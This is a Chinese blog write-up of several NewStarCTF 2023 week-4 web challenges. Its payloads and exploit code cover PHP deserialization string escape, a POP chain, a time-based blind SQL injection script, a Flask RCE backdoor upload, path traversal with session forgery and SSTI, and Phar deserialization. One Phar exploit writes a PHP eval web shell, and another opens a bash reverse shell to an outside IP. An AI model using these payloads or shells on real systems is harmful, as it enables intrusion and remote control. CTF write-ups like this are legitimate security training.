NewStarCTF 2023_week4

138次阅读
没有评论

NewStarCTF 2023


复现了几道题,本来想留着寒假把剩下的 newstar 复现完的,结果由于各种原因没时间的,就先这样吧。

第四周

Web

典型的反序列化字符串逃逸
首先,随便一个 key,假设为 123,序列化之后为
O:7:"GetFlag":2:{s:3:"key";s:7:"1231123";s:3:"cmd";s:6:"whoami";}
然后,据此写出我们想要的反序列化字符串
O:7:"GetFlag":2:{s:3:"key";s:n:" 长度为 n 的字符串 ";s:3:"cmd";s:2:"ls";}
于此,我们 x 会发现,我们准备逃逸以下字符
";s:3:"cmd";s:2:"ls";}
共计 22 个字符,因此我们在经过 waf 后,就需要多出来 22 个字符。
由于 bad 会变成 good,因此需要 22 个 bad,构造 payload 出来如下
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
NewStarCTF 2023_week4
据此原理,稍加修改,得到 flag
badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}
NewStarCTF 2023_week4

More Fast

简单的 pop 链,只不过需要提前触发__destruct 方法,最简单的就是在反序列化之后去掉最后的大括号。
绕过 flag 可以用 cat fla*
pop 链为:
Start:__destruct -> Crypto: __toString -> Reverse:__get -> Pwn:__invoke -> Web:evil

<?php
highlight_file(__FILE__);

class Start{public $errMsg;}

class Pwn{public $obj;}

class Reverse{public $func;}

class Web{
    public $func;
    public $var;
}

class Crypto{public $obj;}

class Misc{public function evil() {echo "good job but nothing";}
}

$payload=new Start();
$payload->errMsg=new Crypto();
$payload->errMsg->obj=new Reverse();
$payload->errMsg->obj->func=new Pwn();
$payload->errMsg->obj->func->obj=new Web();
$payload->errMsg->obj->func->obj->func="system";
$payload->errMsg->obj->func->obj->var="cat /fla*";
echo serialize(($payload));
#fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /fla*";}}}}

midsql

经典的时间盲注。试了一下,过滤了空格和等号,分别用 /**/ 和 like 绕过。
然后写时间盲注的脚本即可


import requests
import time

#   time.time()

url = "http://232def96-03fa-4b68-84c9-a94c8597830e.node4.buuoj.cn:81/"

def inject_database(url):
    name = ''

    for i in range(1,100000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1/**/and/**/if(ascii(substr((select/**/database()),%d,1))>%d,sleep(2),0)"%(i,mid)
            params = {'id':payload}
            start_time = time.time()    #    注入前的系统时间
            r = requests.get(url,params = params)
            end_time = time.time()        #     注入后的时间
            if end_time - start_time > 2:
                low = mid + 1
        else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)    
        print (name)

def inject_table(url):
    name = ''

    for i in range(1,100000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),%d,1))>%d,sleep(2),0)"%(i,mid)
            params = {'id':payload}
            start_time = time.time()    #    注入前的系统时间
            r = requests.get(url,params = params)
            end_time = time.time()        #     注入后的时间
            if end_time - start_time > 2:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)    
        print (name)

def inject_column(url):
    name = ''
    for i in range(1,100000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'items'),%d,1))>%d,sleep(2),0)"%(i,mid)
            params = {'id':payload}
            start_time = time.time()    #    注入前的系统时间
            r = requests.get(url,params = params)
            end_time = time.time()        #     注入后的时间
            if end_time - start_time > 2:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)    
        print (name)

def flag(url):
    name = ''
    for i in range(1,100000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1/**/and/**/if(ascii(substr((select/**/group_concat(name)/**/from/**/items/**/where/**/id/**/like/**/520),%d,1))>%d,sleep(1),0)"%(i,mid)
            params = {'id':payload}
            start_time = time.time()    #    注入前的系统时间
            r = requests.get(url,params = params)
            end_time = time.time()        #     注入后的时间
            if end_time - start_time > 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        #if mid == 32:
        #    break
        name = name + chr(mid)    
        print (name)

#inject_database(url)  #database:ctf
#inject_table(url)   #table:items
#inject_column(url)   #columns:id,name,price
flag(url)

最后的结果在 name 里面

flaskdisk

题目存在三个链接,可以查看文件,上传文件,以及输入 pin 码
NewStarCTF 2023_week4
猜测或许可以上传文件实现 rce?
所以我们可以直接上传一个 app.py 覆盖之前的 app.py 从而实现 rce。

from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    

    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True)

上传之后,直接传 cmd=cat /flag 即可
NewStarCTF 2023_week4

InjectMe

题目给了 dockerfile 的源码
收集信息,发现给出了 dockerfile 暂时还不知道干啥用,其次是可以查看图片,在其中一张图片中发现代码。
NewStarCTF 2023_week4
代码为 get 传入变量 file, 并将其中的../ 替换为空, 然后检查系统中是否存在该文件且文件名中是否含有 start。
很显然的目录穿越
题目中的替换仅仅替换了一次,所以很容易就可以绕过。
经过尝试,需要进行三次穿越,也就是../../../etc/passwd
因此 payload 为..././..././..././etc/passwd
因此我们可以查看 app 目录下的 app.py..././..././..././app/app.py
发现代码
NewStarCTF 2023_week4
观察后门部分代码
很容易发现需要伪造 session,然后打 ssti。然后发现 secret_key 是从 config 里面导入的,因此下载一下 config.py 看看。..././..././..././app/config.py得到secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
然后我们就可以进行 session 伪造了。
然后接下来考虑 ssti
由于题目过滤了很多东西,因此我们可以尝试八进制绕过
首先 payload 为{x.__init__.__globals__.__getitem__.('__builtins__').__getitem__.('eval')('__import__("os").popen("ls /").read()')}
嫌麻烦,这里就不自己手打了。
然后,最终根据脚本伪造出来的 session 为:
.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.ZVd5wg.NN4PVUmSQiA6Ll-XV1SkJq_5b50
NewStarCTF 2023_week4

PharOne

打开之后是一个文件上传的题目
读源代码发现 class.php
NewStarCTF 2023_week4
很明显,这题是个 phar 反序列化的题目,但是因为是无回显 rce,所以考虑 shell 反弹或者写马。
首先构造 phar 文件, 此处尝试写马。

<?php
class Flag{public $cmd;}

$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

NewStarCTF 2023_week4
测试发现,phar 文件被过滤了,那么上传一个 jpg 文件吧
上传 jpg 发现,__HALT_COMPILER()被过滤,尝试 gzip 压缩绕过。
NewStarCTF 2023_week4
上传成功
在 class.php 使用 phar 伪协议读取上传的文件
file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
然后在生成的 1.php 处 rce 就行。

第二种方式就是写马,大致方式和上面一样,只是 exp 要改一改。

<?php
class Flag{public $cmd;}

$a=new Flag();
$a->cmd="bash -c 'bash -i >& /dev/tcp/43.138.81.44/2333 0>&1'";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

额。。。好吧弹不出来了,但是方法是这样的,懒得找问题了。

正文完
 
haxo
版权声明:本站原创文章,由 haxo 2024-02-01发表,共计5932字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)